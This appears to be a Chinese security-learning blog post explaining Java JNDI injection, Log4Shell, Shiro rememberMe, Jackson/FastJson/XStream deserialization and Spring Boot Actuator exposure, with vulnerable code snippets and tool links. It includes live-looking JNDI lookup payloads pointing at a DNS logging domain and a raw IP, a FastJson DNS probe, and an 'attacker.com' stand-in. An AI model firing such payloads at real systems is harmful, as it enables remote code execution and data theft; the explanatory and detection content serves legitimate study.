网安学习第26天 Java安全——JNDI注入&原生反序列化&SpringBoot框架
不得不说Java安全真难啊!!!!
一、JNDI注入
1、JNDI
JNDI 全称是 Java Naming and Directory Interface,中文一般叫 Java 命名和目录接口。
它是 Java 提供的一套 API,用来让程序通过“名字”去查找某个资源。
可以先这样理解:
JNDI = Java 里的资源查找机制
比如 Java 程序不直接写死数据库连接、远程对象、消息队列等,而是通过一个名字去查:
Context ctx = new InitialContext();
DataSource ds = (DataSource) ctx.lookup("java:comp/env/jdbc/mysql");
这里的:
ctx.lookup(...)
就是 JNDI 的核心操作。
2、JNDI 能查什么?
JNDI 可以查很多东西,比如:
数据库连接池
java:comp/env/jdbc/mysql
LDAP 目录服务
ldap://example.com/xxx
RMI 远程对象
rmi://example.com/object
DNS 记录
dns://example.com
3、JNDI 的核心思想
普通 Java 代码可能这样连接数据库:
Connection conn = DriverManager.getConnection(url, username, password);
而 JNDI 的思想是:
DataSource ds = (DataSource) ctx.lookup("某个名字");
Connection conn = ds.getConnection();
也就是说,程序不关心资源具体在哪里,只关心资源的名字。
4、为什么 JNDI 会变成安全漏洞?
问题出在这里:
ctx.lookup(userInput);
如果 lookup() 里的内容可以被用户控制,就危险了。
例如程序允许用户传入:
ldap://attacker.com/evil
那么 Java 程序可能会去攻击者控制的 LDAP/RMI 服务上查找对象。
在一些历史版本或错误配置下,JNDI 可能会加载远程恶意类,最终造成:
JNDI 注入 → 远程加载恶意对象 → RCE
也就是远程代码执行。
5、JNDI 常见协议
常见的 JNDI 相关协议有:
| 协议 | 作用 | 安全风险 |
|---|---|---|
| LDAP | 目录服务查询 | 常用于 JNDI 注入链 |
| RMI | Java 远程方法调用 | 历史上风险较高 |
| DNS | 域名查询 | 常用于探测是否出网 |
| CORBA/IIOP | 分布式对象通信 | 较少见 |
| local JNDI | 本地容器资源 | 相对安全 |
安全中最常见的是:
ldap://
rmi://
dns://
6、JNDI 注入是什么?
JNDI 注入就是攻击者控制了 JNDI 查询地址,让服务器去访问攻击者指定的目录服务。
典型危险代码:
String name = request.getParameter("name");
Context ctx = new InitialContext();
Object obj = ctx.lookup(name);
如果用户传进来的 name 没有限制,就可能出问题。本质是:
用户输入不可信,但程序把它当成 JNDI 地址去解析。
7、调用检索
Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。
javax.naming.InitialContext.lookup()
在RMI服务中调用了InitialContext.lookup()的类有:
org.springframework.transaction.jta.JtaTransactionManager.readObject()
com.sun.rowset.JdbcRowSetImpl.execute()
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)
在LDAP服务中调用了InitialContext.lookup()的类有:
InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()
8、漏洞检测
无黑盒思路
白盒看类函数名和可控变量
二、Java不安全组件
1、-Log4j
作用:Log4j 是 Java 里的日志框架,用来记录日志,例如:
logger.info("username: " + username);
正常用途是记录:
请求参数
用户行为
异常信息
系统运行状态
Log4j 最著名的问题是 Log4Shell,也就是 JNDI 注入导致 RCE。
危险点在于:老版本 Log4j2 会解析日志内容里的特殊表达式,并可能触发 JNDI lookup。
大概链路是:
攻击者输入恶意字符串
↓
服务端把它写入日志
↓
Log4j 解析日志内容
↓
触发 JNDI lookup
↓
访问 LDAP/RMI 等外部服务
↓
可能造成 RCE
重点不是“日志框架本身一定危险”,而是:
日志内容里包含用户输入,而 Log4j 又错误地把用户输入当成可执行的表达式解析。
常见危险位置
这些地方经常被写进日志:
User-Agent
X-Forwarded-For
Referer
Cookie
username
email
搜索框参数
接口 JSON 参数
异常堆栈
例如:
logger.info("login user: " + request.getParameter("username"));
如果日志框架会解析特殊表达式,就可能出问题。
public String vul(String content) {
logger.error(content);
return "Log4j2 RCE";
}
白盒思路
看引用组件版本及实现
logger.info
logger.error
找可控变量及访问实现
admin/uploadAdminHeadImage
originalFileName
测试出网回显调用访问
例:
${jndi:ldap://jebqzwhwtn.dnstunnel.run}
${jndi:rmi://47.94.236.117:1099/l6v1wz}
2、-Shiro
作用Apache Shiro 是 Java 里的安全框架,主要负责:
登录认证
权限控制
Session 管理
RememberMe
加密
角色权限判断
常见代码类似:
Subject subject = SecurityUtils.getSubject();
subject.login(token);
为什么危险?
Shiro 最经典的是 rememberMe 反序列化漏洞。
Shiro 的 rememberMe 功能会把用户身份信息序列化、加密后放到 Cookie 里:
rememberMe=加密后的序列化数据
服务端收到 Cookie 后,会:
读取 rememberMe Cookie
↓
AES 解密
↓
反序列化
↓
恢复用户身份
问题在于:
如果攻击者知道 AES 密钥,或者系统使用了默认密钥,就可以构造恶意序列化数据。
典型漏洞链
Shiro rememberMe Cookie 可控
↓
使用默认 AES Key 或弱密钥
↓
攻击者构造恶意序列化对象
↓
服务端解密后反序列化
↓
触发 gadget 链
↓
RCE
例:

然后在工具中来操作

首先爆破密钥,然后是爆破利用连。显示成功后就可以试一下:

执行成功!!!
3. Jackson
作用:Jackson 是 Java 里最常用的 JSON 序列化/反序列化库之一。常见用途:
ObjectMapper mapper = new ObjectMapper();
User user = mapper.readValue(json, User.class);
它负责:
JSON 转 Java 对象
Java 对象转 JSON
接口参数绑定
配置文件解析
Spring Boot 里默认就经常用 Jackson。
为什么危险?
Jackson 的风险主要来自 多态反序列化。
所谓多态反序列化,就是 JSON 里可以指定要反序列化成哪个类。
例如概念上类似:
{
"@type": "某个Java类",
"属性": "值"
}
如果开启了危险的类型识别功能,攻击者可能指定某些危险类,让 Jackson 在反序列化过程中触发 getter、setter、构造方法、JNDI lookup 或其他危险逻辑。
enableDefaultTyping()
activateDefaultTyping()
@JsonTypeInfo
Object.class
Serializable
Map<String, Object>
危险点
Jackson 里要重点警惕:
enableDefaultTyping()
activateDefaultTyping()
@JsonTypeInfo
Object.class
Serializable
Map<String, Object>
尤其是这种:
Object obj = mapper.readValue(json, Object.class);
// 或者
mapper.enableDefaultTyping();
这类代码风险更高。
典型漏洞链
接口接收 JSON
↓
Jackson 反序列化
↓
允许用户指定类型
↓
实例化危险类
↓
触发 setter/getter/构造方法
↓
JNDI / 文件操作 / 反序列化 gadget
↓
RCE 或 SSRF
4. FastJson
作用:FastJson 是阿里开源的 JSON 序列化/反序列化库。常见代码:
User user = JSON.parseObject(json, User.class);
// 或者:
Object obj = JSON.parse(json);
为什么危险?
FastJson 最经典的问题是 AutoType 反序列化漏洞。
FastJson 支持在 JSON 里通过 @type 指定 Java 类。
概念上类似:
{
"@type": "com.example.User",
"name": "test"
}
问题是:
如果攻击者能控制
@type,就可能让 FastJson 加载危险类。
接口接收 JSON
↓
FastJson parseObject / parse
↓
AutoType 开启或绕过
↓
攻击者指定危险类
↓
触发 setter/getter/JNDI
↓
RCE / SSRF / 出网探测
白盒思路
看引用组件版本及实现
JSON.parse()
JSON.parseObject()
找可控变量及访问实现
admin/product propertyJson
测试出网回显调用访问
{"@type":"java.net.Inet4Address","val":"atcuqbczqs.dnstunnel.run"}
5. XStream
作用:XStream 是 Java 里的 XML 序列化/反序列化库。它可以把 Java 对象和 XML 相互转换。
例如:
XStream xstream = new XStream();
Object obj = xstream.fromXML(xml);
为什么危险?
XStream 的问题主要是 XML 反序列化漏洞。如果程序接收用户传入的 XML,然后直接:
xstream.fromXML(userInput);
就很危险。
因为 XML 里可能描述了某些 Java 对象结构,XStream 会根据 XML 创建对象并设置属性。
如果创建到了危险类,就可能触发:
命令执行
文件读取
SSRF
JNDI 查询
反射调用
典型漏洞链
用户提交 XML
↓
XStream.fromXML()
↓
反序列化成 Java 对象
↓
实例化危险类 / 调用危险方法
↓
触发 gadget
↓
RCE
危险写法
Object obj = xstream.fromXML(request.getInputStream());
// 或者
Object obj = xstream.fromXML(xmlString);
6、五个组件
| 组件 | 数据格式/场景 | 主要危险点 | 核心漏洞类型 |
|---|---|---|---|
| Log4j | 日志 | 解析用户输入、JNDI lookup | JNDI 注入 / RCE |
| Shiro | 认证权限 | rememberMe Cookie 反序列化 | Java 反序列化 / RCE |
| Jackson | JSON | 多态反序列化、Default Typing | JSON 反序列化 / JNDI |
| FastJson | JSON | AutoType、@type |
JSON 反序列化 / JNDI |
| XStream | XML | fromXML() 任意对象反序列化 |
XML 反序列化 / RCE |
三、反序列化
序列化是将Java对象转换成字节流的过程。而反序列化是将字节流转换成Java对象的过程,java序列化的数据一般会以标记(ac ed 00 05)开头,base64编码的特征为rO0AB,JAVA常见的序列化和反序列化的方法有JAVA 原生序列化和JSON 类(fastjson、jackson)序列化等。
-SnakeYaml:完整的YAML1.1规范Processor,支持Java对象的序列化/反序列化
-XMLDecoder:xml语言格式序列化类函数接口
-ObjectInputStream.readObject():任何类如果想要序列化必须实现java.io.Serializable接口
工具项目
1、Yakit
https://yaklang.com/

是个图像化项目,可以直接构建利用链

去靶场试一下:

2、ysoserial
https://github.com/frohoff/ysoserial
下载下来后使用Java启动

可以筛选符合的版本构建利用链
3、SerializedPayloadGenerator
github.com/NotSoSecure/SerializedPayloadGenerator
这个项目是一个服务器端的项目,目前还没有搭建,他可以生成,php、Java、JS、python的
黑白盒发现
黑盒发现(流量捕获)
![]()
白盒发现(特征类接口函数)
四、SpringBoot框架漏洞
1、SpringBoot Actuator
Spring Boot 是 Java 里目前最常见的后端开发框架之一。它不是一个全新的框架,而是对 Spring 框架的一层简化封装。
Spring Boot Actuator 是 Spring Boot 提供的生产级监控模块。
它本来是给开发和运维用的,用来查看应用状态,比如:
健康状态
运行指标
环境变量
配置信息
日志信息
线程状态
内存 Dump
请求映射
Bean 信息
应用审计信息
引入依赖一般是:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
引入之后,应用可能会出现一些管理接口,比如:
/actuator
/actuator/health
/actuator/info
/actuator/env
/actuator/beans
/actuator/mappings
/actuator/metrics
/actuator/heapdump
/actuator/threaddump
/actuator/loggers
这些接口本身不是给普通用户访问的,应该只给内部运维系统、监控系统访问。
2. 为什么 Actuator 会存在漏洞?
因为很多人为了方便调试,直接配置:
management.endpoints.web.exposure.include=*
这句话的意思是:
把所有 Actuator Web 端点都暴露出来。
这在开发环境还勉强可以,但如果放到公网环境,就很危险。
危险原因是:Actuator 里面有些端点会暴露非常敏感的信息。
比如:
数据库连接地址
数据库用户名
Redis 密码
JWT 密钥
第三方 AK/SK
云服务密钥
内部接口地址
Spring Bean 信息
Controller 路由
系统环境变量
线程信息
内存快照
所以 Actuator 的核心风险不是“它存在就一定 RCE”,而是:
管理接口暴露 + 敏感端点开放 + 无认证访问。
3、检测清单
https://github.com/LandGrey/SpringBootVulExploit

3、黑白盒漏洞发现
黑盒:(人工识别,BP插件)
https://github.com/API-Security/APIKit
使用BP的插件抓包来看
白盒(pom.xml,引用库)
先查看引用库中是否有actuator模块的引入
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
如果有检查设置中的Actuator设置
#Actuator设置全部暴露
management.endpoints.web.exposure.include=*
3、漏洞利用
泄漏安全(配置密码,AK/SK等)
使用工具来进行检测是否存在敏感信息
https://github.com/whwlsfb/JDumpSpider
https://github.com/wyzxxz/heapdump_tool
漏洞安全(利用类,CVE漏洞等)
使用工具来看是否有可以利用的漏洞
https://github.com/AabyssZG/SpringBoot-Scan
https://github.com/LandGrey/SpringBootVulExploit
更多推荐
所有评论(0)